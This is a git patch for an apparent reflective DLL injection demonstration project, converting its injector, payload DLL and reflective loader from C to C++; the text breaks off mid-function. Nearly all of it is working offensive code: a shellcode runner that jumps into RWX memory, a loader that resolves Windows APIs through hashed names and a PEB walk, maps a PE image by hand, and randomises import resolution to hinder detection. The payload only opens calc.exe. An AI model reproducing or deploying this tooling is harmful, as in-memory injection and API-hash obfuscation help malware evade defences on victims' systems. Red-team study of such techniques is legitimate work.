From a46216abfc766b6052b2c0f26278c29f3132ddbf Mon Sep 17 00:00:00 2001 From: 17ms <79069176+17ms@users.noreply.github.com> Date: Tue, 2 Jan 2024 23:06:07 +0200 Subject: [PATCH] c++ conversion & updated build config --- CMakeLists.txt | 17 +- injector/injector.c | 46 ---- injector/injector.cpp | 56 +++++ payload/payload.c | 29 --- payload/payload.cpp | 25 ++ reflective_loader/loader.c | 410 ------------------------------ reflective_loader/loader.cpp | 466 +++++++++++++++++++++++++++++++++++ reflective_loader/loader.h | 66 ----- reflective_loader/loader.hpp | 76 ++++++ 9 files changed, 633 insertions(+), 558 deletions(-) delete mode 100644 injector/injector.c create mode 100644 injector/injector.cpp delete mode 100644 payload/payload.c create mode 100644 payload/payload.cpp delete mode 100644 reflective_loader/loader.c create mode 100644 reflective_loader/loader.cpp delete mode 100644 reflective_loader/loader.h create mode 100644 reflective_loader/loader.hpp diff --git a/CMakeLists.txt b/CMakeLists.txt index d386968..0abb403 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -1,7 +1,10 @@ cmake_minimum_required(VERSION 3.11) -project(airborne) - -include(FetchContent) +project( + airborne + VERSION 0.1.0 + DESCRIPTION "Reflective DLL injection demonstration" + LANGUAGES CXX +) if(NOT CMAKE_SYSTEM_NAME MATCHES Windows) message(FATAL_ERROR "Use a cross compilation suitable toolchain with CMAKE_SYSTEM_NAME set to Windows") @@ -15,13 +18,13 @@ else() endif() # *) Reflective loader (DLL) -add_library(reflective_loader SHARED reflective_loader/loader.c reflective_loader/loader.h) +add_library(reflective_loader SHARED reflective_loader/loader.cpp reflective_loader/loader.hpp) # *) Payload (DLL) -add_library(payload SHARED payload/payload.c) +add_library(payload SHARED payload/payload.cpp) # *) Injector (EXE) -add_executable(injector injector/injector.c) +add_executable(injector injector/injector.cpp) # *) Shellcode generator (EXE) -add_executable(shellcode_generator shellcode_generator/generator.c) +# add_executable(shellcode_generator shellcode_generator/generator.c) diff --git a/injector/injector.c b/injector/injector.c deleted file mode 100644 index 39eae7e..0000000 --- a/injector/injector.c +++ /dev/null @@ -1,46 +0,0 @@ -#include -#include -#include - -// TODO: implement process hollowing - -int main(int argc, char *argv[]) -{ - if (argc != 2) - { - printf("[?] Usage: injector.exe \n"); - return 1; - } - - printf("[+] Reading shellcode from %s\n", argv[1]); - FILE *fin = fopen(argv[1], "rb"); - - if (fin == NULL) - { - printf("[!] Error: could not open file %s\n", argv[1]); - return 1; - } - - fseek(fin, 0, SEEK_END); - long fsize = ftell(fin); - rewind(fin); - - unsigned char *buffer = (char *)malloc(fsize); - fread(buffer, fsize, 1, fin); - fclose(fin); - - LPVOID base = VirtualAlloc(NULL, fsize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - - if (base == NULL) - { - printf("[!] Error: could not allocate memory\n"); - return 1; - } - - memcpy(base, buffer, fsize); - - printf("[+] Executing 'jmp *%%%p'\n", base); - __asm__("jmp *%0\n" ::"r"(base)); - - return 1; -} diff --git a/injector/injector.cpp b/injector/injector.cpp new file mode 100644 index 0000000..77123ce --- /dev/null +++ b/injector/injector.cpp @@ -0,0 +1,56 @@ +#include +#include +#include + +#define VERBOSE 1 + +int main(int argc, char **argv) +{ + if (argc != 2) + { + std::cout << "[?] Usage: " << argv[0] << " " << std::endl; + return 1; + } + +#ifdef VERBOSE + std::cout << "[+] Reading shellcode from " << argv[1] << std::endl; +#endif + + std::ifstream shellcode(argv[1]); + + if (!shellcode.is_open()) + { + std::cout << "[!] Failed to open " << argv[1] << std::endl; + return 1; + } + + shellcode.seekg(0, std::ios::end); + size_t filesize = shellcode.tellg(); + shellcode.seekg(0, std::ios::beg); + + auto buffer = new char[filesize]; + shellcode.read(buffer, filesize); + + auto base = VirtualAlloc(nullptr, filesize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + + if (!base) + { + std::cout << "[!] Failed to allocate memory" << std::endl; + return 1; + } + +#ifdef VERBOSE + std::cout << "[+] Allocated " << filesize << " bytes at " << base << std::endl; +#endif + + std::copy(buffer, buffer + filesize, static_cast(base)); + +#ifdef VERBOSE + std::cout << "[+] Copied shellcode to " << base << std::endl; + std::cout << "[+] Executing 'jmp " << base << "'" << std::endl; +#endif + + __asm__("jmp *%0" ::"r"(base)); + + return 0; +} diff --git a/payload/payload.c b/payload/payload.c deleted file mode 100644 index 9eba5cf..0000000 --- a/payload/payload.c +++ /dev/null @@ -1,29 +0,0 @@ -#include - -#ifdef BUILD_DLL -#define DLL_EXPORT __declspec(dllexport) -#else -#define DLL_EXPORT __declspec(dllimport) -#endif - -BOOL WINAPI DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) -{ - if (fdwReason == DLL_PROCESS_ATTACH) - { - CreateProcessW(L"C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, NULL, NULL); - } - - return TRUE; -} - -BOOL SayHello(LPVOID lpUserData, DWORD nUserDataLen) -{ - MessageBoxW(NULL, L"Hello from payload!", L"Hello World!", MB_OK); - return TRUE; -} - -BOOL SayCustom(LPVOID lpUserData, DWORD nUserDataLen) -{ - MessageBoxW(NULL, (LPCWSTR)lpUserData, L"Hello World!", MB_OK); - return TRUE; -} diff --git a/payload/payload.cpp b/payload/payload.cpp new file mode 100644 index 0000000..2cca76f --- /dev/null +++ b/payload/payload.cpp @@ -0,0 +1,25 @@ +#include + +#ifdef BUILD_DLL +#define DLL_EXPORT __declspec(dllexport) +#else +#define DLL_EXPORT __declspec(dllimport) +#endif + +BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) +{ + if (dwReason == DLL_PROCESS_ATTACH) + { + CreateProcessW(L"C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, NULL, NULL); + } + + return TRUE; +} + +BOOL PrintMessage(LPVOID lpUserData, DWORD dwUserDataSize) +{ + auto lpText = static_cast(lpUserData); + MessageBoxW(NULL, lpText, L"Hello World!", MB_OK); + + return TRUE; +} diff --git a/reflective_loader/loader.c b/reflective_loader/loader.c deleted file mode 100644 index 0b8a486..0000000 --- a/reflective_loader/loader.c +++ /dev/null @@ -1,410 +0,0 @@ -#include "loader.h" -#include -#include - -void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserDataLen, PVOID pvShellcodeBase, DWORD dwFlags) -{ - if (!pImage) - { - return; - } - - /* - 1.) Locate the required functions and modules from exports with their hashed names - */ - - HMODULE hKernel32 = GetModuleAddrFromHash(KERNEL32_DLL_HASH); - - if (!hKernel32) - { - return; - } - - LOAD_LIBRARY_W pLoadLibraryW = (LOAD_LIBRARY_W)GetExportAddrFromHash(hKernel32, LOAD_LIBRARY_W_HASH); - GET_PROC_ADDRESS pGetProcAddress = (GET_PROC_ADDRESS)GetExportAddrFromHash(hKernel32, GET_PROC_ADDRESS_HASH); - VIRTUAL_ALLOC pVirtualAlloc = (VIRTUAL_ALLOC)GetExportAddrFromHash(hKernel32, VIRTUAL_ALLOC_HASH); - FLUSH_INSTRUCTION_CACHE pFlushInstructionCache = (FLUSH_INSTRUCTION_CACHE)GetExportAddrFromHash(hKernel32, FLUSH_INSTRUCTION_CACHE_HASH); - VIRTUAL_PROTECT pVirtualProtect = (VIRTUAL_PROTECT)GetExportAddrFromHash(hKernel32, VIRTUAL_PROTECT_HASH); - SLEEP pSleep = (SLEEP)GetExportAddrFromHash(hKernel32, SLEEP_HASH); - - if (!pLoadLibraryW || !pGetProcAddress || !pVirtualAlloc || !pFlushInstructionCache || !pVirtualProtect || !pSleep) - { - return; - } - - /* - 2.) Load the target image to a newly allocated permanent memory location with RW permissions - - https://github.com/fancycode/MemoryModule/blob/master/MemoryModule.c - */ - - PIMAGE_NT_HEADERS64 pNtHeaders = GetNtHeaders(pImage); - - if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) - { - return; - } - - if (pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) - { - return; - } - - if (pNtHeaders->OptionalHeader.SectionAlignment & 1) - { - return; - } - - DWORD dwImageSize = pNtHeaders->OptionalHeader.SizeOfImage; - ULONGLONG ullPreferredImageBase = pNtHeaders->OptionalHeader.ImageBase; - - // Try to allocate the image to the preferred base address - ULONG_PTR pNewImageBase = (ULONG_PTR)pVirtualAlloc((LPVOID)ullPreferredImageBase, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); - - if (!pNewImageBase) - { - // Allocate to a random address if the preferred base address is already occupied - pNewImageBase = (ULONG_PTR)pVirtualAlloc(NULL, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); - } - - CopySections(pNewImageBase, pImage, pNtHeaders); - CopyHeaders(pNewImageBase, pImage, pNtHeaders); - - /* - 3.) Process the image relocations (assumes the image couldn't be loaded to the preferred base address) - */ - - ULONG_PTR ulpDelta = pNewImageBase - pNtHeaders->OptionalHeader.ImageBase; - PIMAGE_DATA_DIRECTORY pDataDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; - - if (!ProcessRelocations(pNewImageBase, pDataDirectory, ulpDelta)) - { - return; - } - - /* - 4.) Resolve the imports by patching the Import Address Table (IAT) - */ - - if (!PatchImportAddressTable(pNewImageBase, pDataDirectory, pLoadLibraryW, pGetProcAddress)) - { - return; - } - - /* - 5.) Finalize the sections by setting protective permissions after mapping the image - */ - - FinalizeRelocations(pNewImageBase, pNtHeaders, pVirtualProtect, pFlushInstructionCache); - - /* - 6.) Execute DllMain or user defined function depending on the flag passed into the shellcode by the generator - */ - - if (dwFlags == 0) - { - // Execute DllMain with DLL_PROCESS_ATTACH - DLLMAIN pDllMain = (DLLMAIN)(pNewImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint); - pDllMain((HINSTANCE)pNewImageBase, DLL_PROCESS_ATTACH, NULL); - } - else - { - // Execute user defined function - USER_FUNCTION pFunction = (USER_FUNCTION)GetExportAddrFromHash((HMODULE)pNewImageBase, dwFunctionHash); - pFunction(pvUserData, dwUserDataLen); - } -} - -void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache) -{ - PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); - - for (size_t i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++) - { - DWORD dwOldProtect; - DWORD dwNewProtect = 0; - - // Definitions for readability - DWORD dwIsExecutable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0; - DWORD dwIsReadable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0; - DWORD dwIsWritable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0; - - if (!dwIsExecutable && !dwIsReadable && !dwIsWritable) - { - dwNewProtect = PAGE_NOACCESS; - } - - if (dwIsWritable) - { - dwNewProtect = PAGE_WRITECOPY; - } - - if (dwIsReadable) - { - dwNewProtect = PAGE_READONLY; - } - - if (dwIsWritable && dwIsReadable) - { - dwNewProtect = PAGE_READWRITE; - } - - if (dwIsExecutable) - { - dwNewProtect = PAGE_EXECUTE; - } - - if (dwIsExecutable && dwIsWritable) - { - dwNewProtect = PAGE_EXECUTE_WRITECOPY; - } - - if (dwIsExecutable && dwIsReadable) - { - dwNewProtect = PAGE_EXECUTE_READ; - } - - if (dwIsExecutable && dwIsWritable && dwIsReadable) - { - dwNewProtect = PAGE_EXECUTE_READWRITE; - } - - pVirtualProtect((LPVOID)(pNewImageBase + pSectionHeader->VirtualAddress), pSectionHeader->SizeOfRawData, dwNewProtect, &dwOldProtect); - } - - pFlushInstructionCache((HANDLE)-1, NULL, 0); -} - -BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress) -{ - PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pNewImageBase + pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); - - if (!pImportDescriptor) - { - return FALSE; - } - - /* - TODO: obfuscate the import resolution by delaying the resolution of imports - -> implementation stolen from https://github.com/monoxgas/sRDI/blob/master/ShellcodeRDI/ShellcodeRDI.c#L391 - 1. read the IMAGE_IMPORT_DESCRIPTOR structure from the IAT - 2. calculate randomized order based on the number of imports - */ - - // DWORD dwImportCount = 0; - - while (pImportDescriptor->Name) - { - HMODULE hModule = pLoadLibraryW((LPCWSTR)(pNewImageBase + pImportDescriptor->Name)); - - if (!hModule) - { - return FALSE; - } - - PIMAGE_THUNK_DATA64 pThunkData = (PIMAGE_THUNK_DATA64)(pNewImageBase + pImportDescriptor->OriginalFirstThunk); - PIMAGE_THUNK_DATA64 pThunkDataIat = (PIMAGE_THUNK_DATA64)(pNewImageBase + pImportDescriptor->FirstThunk); - - while (pThunkData->u1.Function) - { - if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64) - { - // High bits masked out to get the ordinal number - pThunkDataIat->u1.Function = (ULONGLONG)pGetProcAddress(hModule, (LPCSTR)(pThunkData->u1.Ordinal & 0xFFFF)); - } - else - { - // The address of the imported function is stored in the IMAGE_IMPORT_BY_NAME structure - PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(pNewImageBase + pThunkData->u1.AddressOfData); - pThunkDataIat->u1.Function = (ULONGLONG)pGetProcAddress(hModule, (LPCSTR)pImportByName->Name); - } - - pThunkData++; - pThunkDataIat++; - } - - pImportDescriptor++; - } - - return TRUE; -} - -BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta) -{ - PIMAGE_BASE_RELOCATION pRelocation = (PIMAGE_BASE_RELOCATION)(pNewImageBase + pDataDirectory->VirtualAddress); - - if (pRelocation == NULL || pDataDirectory->Size == 0) - { - return FALSE; - } - - // Upper bound to prevent accessing memory part the end of the relocation data - DWORD dwRelocationEnd = pDataDirectory->VirtualAddress + pDataDirectory->Size; - PIMAGE_RELOC pRelocationList; - - while (pRelocation->VirtualAddress && pRelocation->VirtualAddress <= dwRelocationEnd && pRelocation->SizeOfBlock) - { - pRelocationList = (PIMAGE_RELOC)(pRelocation + 1); - - while ((PBYTE)pRelocationList < (PBYTE)pRelocation + pRelocation->SizeOfBlock) - { - switch (pRelocationList->type) - { - case IMAGE_REL_BASED_DIR64: - // Apply the difference to the 64-bit field at offset - *(PULONG_PTR)(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset) += ulpDelta; - break; - case IMAGE_REL_BASED_HIGHLOW: - // Base relocation applies all 32 bits of the difference tothe 32-bit field at offset - *(PULONG_PTR)(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset) += (DWORD)ulpDelta; - break; - case IMAGE_REL_BASED_HIGH: - // Base relocation adds the high 16 bits of the difference to the 16-bit field at offset - *(PULONG_PTR)(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset) += HIWORD(ulpDelta); - break; - case IMAGE_REL_BASED_LOW: - // Base relocation adds the low 16 bits of the difference to the 16-bit field at offset - *(PULONG_PTR)(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset) += LOWORD(ulpDelta); - break; - default: - break; - } - - pRelocationList++; - } - - pRelocation = (PIMAGE_BASE_RELOCATION)pRelocationList; - } - - return TRUE; -} - -void CopySections(ULONG_PTR pNewImageBase, PVOID pImage, PIMAGE_NT_HEADERS64 pNtHeaders) -{ - PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); - - for (size_t i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++) - { - for (size_t j = 0; j < pSectionHeader->SizeOfRawData; j++) - { - *((PBYTE)pNewImageBase + pSectionHeader->VirtualAddress + j) = *((PBYTE)pImage + pSectionHeader->PointerToRawData + j); - } - } -} - -void CopyHeaders(ULONG_PTR pNewImageBase, PVOID pImage, PIMAGE_NT_HEADERS64 pNtHeaders) -{ - for (size_t i = 0; i < pNtHeaders->OptionalHeader.SizeOfHeaders; i++) - { - *((PBYTE)pNewImageBase + i) = *((PBYTE)pImage + i); - } -} - -HMODULE GetModuleAddrFromHash(DWORD dwHash) -{ - // https://en.wikipedia.org/wiki/Win32_Thread_Information_Block -#if defined(_WIN64) - // PEB is located at GS:[0x60] - PPEB pPeb = (PPEB)__readgsqword(0x60); -#else - // PEB is located at FS:[0x30] - PPEB pPeb = (PPEB)__readfsdword(0x30); -#endif - - PMY_PEB_LDR_DATA pLdr = (PMY_PEB_LDR_DATA)pPeb->Ldr; - PMY_LDR_DATA_TABLE_ENTRY pEntry = (PMY_LDR_DATA_TABLE_ENTRY)pLdr->InLoadOrderModuleList.Flink; - DWORD dwModuleHash; - UNICODE_STRING strBaseDllName; - - while (pEntry->DllBase != NULL) - { - strBaseDllName = pEntry->BaseDllName; - dwModuleHash = CalculateHash(&strBaseDllName); - - if (dwModuleHash == dwHash) - { - return pEntry->DllBase; - } - - pEntry = (PMY_LDR_DATA_TABLE_ENTRY)pEntry->InLoadOrderLinks.Flink; - } - - return NULL; -} - -HMODULE GetExportAddrFromHash(HMODULE hModule, DWORD dwHash) -{ - PIMAGE_NT_HEADERS64 pNtHeaders = GetNtHeaders((PBYTE)hModule); - - if (pNtHeaders == NULL) - { - return NULL; - } - - IMAGE_DATA_DIRECTORY *pExportDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; - IMAGE_EXPORT_DIRECTORY *pExportDirectoryData = (IMAGE_EXPORT_DIRECTORY *)((PBYTE)hModule + pExportDirectory->VirtualAddress); - DWORD dwNameRva, dwNameHash, dwFuncRva; - WORD wOrdinal; - UNICODE_STRING *strBaseDllName; - - for (size_t i = 0; i < pExportDirectoryData->NumberOfNames; i++) - { - dwNameRva = ((DWORD *)((PBYTE)hModule + pExportDirectoryData->AddressOfNames))[i]; - strBaseDllName = (UNICODE_STRING *)((PBYTE)hModule + dwNameRva); - dwNameHash = CalculateHash(strBaseDllName); - - if (dwNameHash == dwHash) - { - wOrdinal = ((WORD *)((PBYTE)hModule + pExportDirectoryData->AddressOfNameOrdinals))[i]; - dwFuncRva = ((DWORD *)((PBYTE)hModule + pExportDirectoryData->AddressOfFunctions))[wOrdinal]; - - return (HMODULE)((PBYTE)hModule + dwFuncRva); - } - } - - return NULL; -} - -PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pImage) -{ - IMAGE_DOS_HEADER *pDosHeader = (IMAGE_DOS_HEADER *)pImage; - - if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) - { - return NULL; - } - - PIMAGE_NT_HEADERS64 pNtHeaders = (PIMAGE_NT_HEADERS64)(pImage + pDosHeader->e_lfanew); - - if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) - { - return NULL; - } - - return pNtHeaders; -} - -DWORD CalculateHash(UNICODE_STRING *baseDllName) -{ - DWORD dwHash = HASH_KEY; - PWSTR pwszBaseDllName = baseDllName->Buffer; - char ch; - - for (size_t i = 0; i < baseDllName->MaximumLength; i++) - { - ch = (char)pwszBaseDllName[i]; - - if (ch == '\0') - { - continue; - } - - if (ch >= 'a' && ch <= 'z') - { - ch -= 0x20; - } - - dwHash = ((dwHash << 5) + dwHash) + (DWORD)ch; - } - - return dwHash; -} diff --git a/reflective_loader/loader.cpp b/reflective_loader/loader.cpp new file mode 100644 index 0000000..0c1f3b6 --- /dev/null +++ b/reflective_loader/loader.cpp @@ -0,0 +1,466 @@ +#include +#include +#include +#include +#include +#include + +#include "loader.hpp" + +void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserDataLen, DWORD dwFlags) +{ + /* + 1.) Locate the required functions and modules from exports with their hashed names + */ + + auto pbKernel32Dll = GetModuleAddressFromHash(KERNEL32_DLL_HASH); + + if (pbKernel32Dll == nullptr) + { + return; + } + + // auto rng = std::default_random_engine{}; + std::random_device rd; + std::mt19937 eng(rd()); + + auto pLoadLibraryW = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, LOAD_LIBRARY_W_HASH, eng)); + auto pGetProcAddress = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, GET_PROC_ADDRESS_HASH, eng)); + auto pVirtualAlloc = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, VIRTUAL_ALLOC_HASH, eng)); + auto pFlushInstructionCache = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, FLUSH_INSTRUCTION_CACHE_HASH, eng)); + auto pVirtualProtect = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, VIRTUAL_PROTECT_HASH, eng)); + auto pSleep = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, SLEEP_HASH, eng)); + + if (pLoadLibraryW == nullptr || pGetProcAddress == nullptr || pVirtualAlloc == nullptr || pFlushInstructionCache == nullptr || pVirtualProtect == nullptr || pSleep == nullptr) + { + return; + } + + /* + 2.) Load the target image to a newly allocated permanent memory location with RW permissions + - https://github.com/fancycode/MemoryModule/blob/master/MemoryModule.c + */ + + auto pNtHeaders = GetNtHeaders(pImage); + + if (pNtHeaders == nullptr) + { + return; + } + else if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) + { + return; + } + else if (pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) + { + return; + } + else if (pNtHeaders->OptionalHeader.SectionAlignment & 1) + { + return; + } + + auto dwImageSize = pNtHeaders->OptionalHeader.SizeOfImage; + auto ullPreferredImageBase = pNtHeaders->OptionalHeader.ImageBase; + + // Try to allocate the image to the preferred base address + auto pNewImageBase = reinterpret_cast(pVirtualAlloc(reinterpret_cast(ullPreferredImageBase), dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); + + if (!pNewImageBase) + { + // Try to allocate the image to any available base address + pNewImageBase = reinterpret_cast(pVirtualAlloc(nullptr, dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); + + if (!pNewImageBase) + { + return; + } + } + + CopyHeadersAndSections(pNewImageBase, pImage, pNtHeaders); + + /* + 3.) Process the image relocations (assumes the image couldn't be loaded to the preferred base address) + */ + + auto ulpDelta = pNewImageBase - pNtHeaders->OptionalHeader.ImageBase; + auto pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + + if (!ProcessRelocations(pNewImageBase, pDataDir, ulpDelta)) + { + return; + } + + /* + 4.) Resolve the imports by patching the Import Address Table (IAT) + */ + + if (!PatchImportAddressTable(pNewImageBase, pDataDir, pLoadLibraryW, pGetProcAddress, eng)) + { + return; + } + + /* + 5.) Finalize the sections by setting protective permissions after mapping the image + */ + + FinalizeRelocations(pNewImageBase, pNtHeaders, pVirtualProtect, pFlushInstructionCache); + + /* + 6.) Execute DllMain or user defined function depending on the flag passed into the shellcode by the generator + */ + + if (dwFlags == 0) + { + // Execute DllMain with DLL_PROCESS_ATTACH + auto pDllMain = reinterpret_cast(pNewImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint); + // Optionally user data could also be passed to the DllMain instead of a separate function + pDllMain(reinterpret_cast(pNewImageBase), DLL_PROCESS_ATTACH, nullptr); + } + else + { + // Execute user defined function + auto pbNewImageBase = reinterpret_cast(pNewImageBase); + auto pUserFunction = reinterpret_cast(GetExportAddrFromHash(pbNewImageBase, dwFunctionHash, eng)); + pUserFunction(pvUserData, dwUserDataLen); + } +} + +void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache) +{ + auto pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); + + DWORD dwOldProtect, dwNewProtect; + LPVOID lpAddress; + + for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++) + { + dwNewProtect = 0; + + // Definitions for readability + DWORD dwIsExecutable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0; + DWORD dwIsReadable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0; + DWORD dwIsWritable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0; + + if (!dwIsExecutable && !dwIsReadable && !dwIsWritable) + { + dwNewProtect = PAGE_NOACCESS; + } + + if (dwIsWritable) + { + dwNewProtect = PAGE_WRITECOPY; + } + + if (dwIsReadable) + { + dwNewProtect = PAGE_READONLY; + } + + if (dwIsWritable && dwIsReadable) + { + dwNewProtect = PAGE_READWRITE; + } + + if (dwIsExecutable) + { + dwNewProtect = PAGE_EXECUTE; + } + + if (dwIsExecutable && dwIsWritable) + { + dwNewProtect = PAGE_EXECUTE_WRITECOPY; + } + + if (dwIsExecutable && dwIsReadable) + { + dwNewProtect = PAGE_EXECUTE_READ; + } + + if (dwIsExecutable && dwIsWritable && dwIsReadable) + { + dwNewProtect = PAGE_EXECUTE_READWRITE; + } + + lpAddress = reinterpret_cast(pNewImageBase + pSectionHeader->VirtualAddress); + pVirtualProtect(lpAddress, pSectionHeader->Misc.VirtualSize, dwNewProtect, &dwOldProtect); + } + + pFlushInstructionCache(INVALID_HANDLE_VALUE, nullptr, 0); +} + +BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, std::mt19937 &eng) +{ + auto pImportDescriptor = reinterpret_cast(pNewImageBase + pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); + + if (pImportDescriptor == nullptr) + { + return FALSE; + } + + /* + 1.) Shuffle Import Table entries + 2.) Conditional execution based on ordinal/name + 3.) Indirect function call via pointer + */ + + int importCount = 0; + auto pId = pImportDescriptor; + + while (pId->Name) + { + importCount++; + pId++; + } + + if (importCount > 1) + { + for (auto i = 0; i < importCount - 1; i++) + { + std::uniform_int_distribution<> distr(i, importCount - 1); + int j = distr(eng); + + // Swap + auto tmp = pImportDescriptor[i]; + pImportDescriptor[i] = pImportDescriptor[j]; + pImportDescriptor[j] = tmp; + } + } + + LPCWSTR pwszModuleName; + HMODULE hModule; + PIMAGE_THUNK_DATA64 pThunkData, pThunkDataIat; + + while (pImportDescriptor->Name) + { + pwszModuleName = reinterpret_cast(pNewImageBase + pImportDescriptor->Name); + hModule = pLoadLibraryW(pwszModuleName); + + if (hModule == nullptr) + { + return FALSE; + } + + pThunkData = reinterpret_cast(pNewImageBase + pImportDescriptor->OriginalFirstThunk); + pThunkDataIat = reinterpret_cast(pNewImageBase + pImportDescriptor->FirstThunk); + + LPCSTR lpProcName; + PIMAGE_IMPORT_BY_NAME pImportByName; + + while (pThunkData->u1.Function) + { + if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64) + { + // High bits masked out to get the ordinal number + lpProcName = reinterpret_cast(pThunkData->u1.Ordinal & 0xFFFF); + } + else + { + // The address of the imported function is stored in the IMAGE_IMPORT_BY_NAME structure + pImportByName = reinterpret_cast(pNewImageBase + pThunkData->u1.AddressOfData); + lpProcName = pImportByName->Name; + } + + pThunkDataIat->u1.Function = reinterpret_cast(pGetProcAddress(hModule, lpProcName)); + + pThunkData++; + pThunkDataIat++; + } + + pImportDescriptor++; + } + + return TRUE; +} + +BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta) +{ + auto pRelocation = reinterpret_cast(pNewImageBase + pDataDirectory->VirtualAddress); + + if (pRelocation == nullptr || pDataDirectory->Size == 0) + { + return FALSE; + } + + // Upper bound to prevent accessing memory part the end of the relocation data + auto dwRelocationEnd = pDataDirectory->VirtualAddress + pDataDirectory->Size; + PIMAGE_RELOC pRelocationList; + + while (pRelocation->VirtualAddress && pRelocation->VirtualAddress <= dwRelocationEnd && pRelocation->SizeOfBlock) + { + pRelocationList = reinterpret_cast(pRelocation + 1); + + while (reinterpret_cast(pRelocationList) < reinterpret_cast(pRelocation) + pRelocation->SizeOfBlock) + { + auto pPatchAddress = reinterpret_cast(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset); + + // Note -- Types adjusted from PULONG_PTR to PDWORD and PWORD + switch (pRelocationList->type) + { + case IMAGE_REL_BASED_DIR64: + *reinterpret_cast(pPatchAddress) += ulpDelta; + break; + case IMAGE_REL_BASED_HIGHLOW: + *reinterpret_cast(pPatchAddress) += static_cast(ulpDelta); + break; + case IMAGE_REL_BASED_HIGH: + *reinterpret_cast(pPatchAddress) += HIWORD(ulpDelta); + break; + case IMAGE_REL_BASED_LOW: + *reinterpret_cast(pPatchAddress) += LOWORD(ulpDelta); + break; + default: + continue; + } + + pRelocationList++; + } + + pRelocation = reinterpret_cast(pRelocationList); + } + + return TRUE; +} + +void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders) +{ + // Copy headers + auto pbDst = reinterpret_cast(pNewImageBase); + std::copy(pbImage, pbImage + pNtHeaders->OptionalHeader.SizeOfHeaders, pbDst); + + // Copy sections + auto pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); + pbDst = reinterpret_cast(pNewImageBase + pSectionHeader->VirtualAddress); + + PBYTE 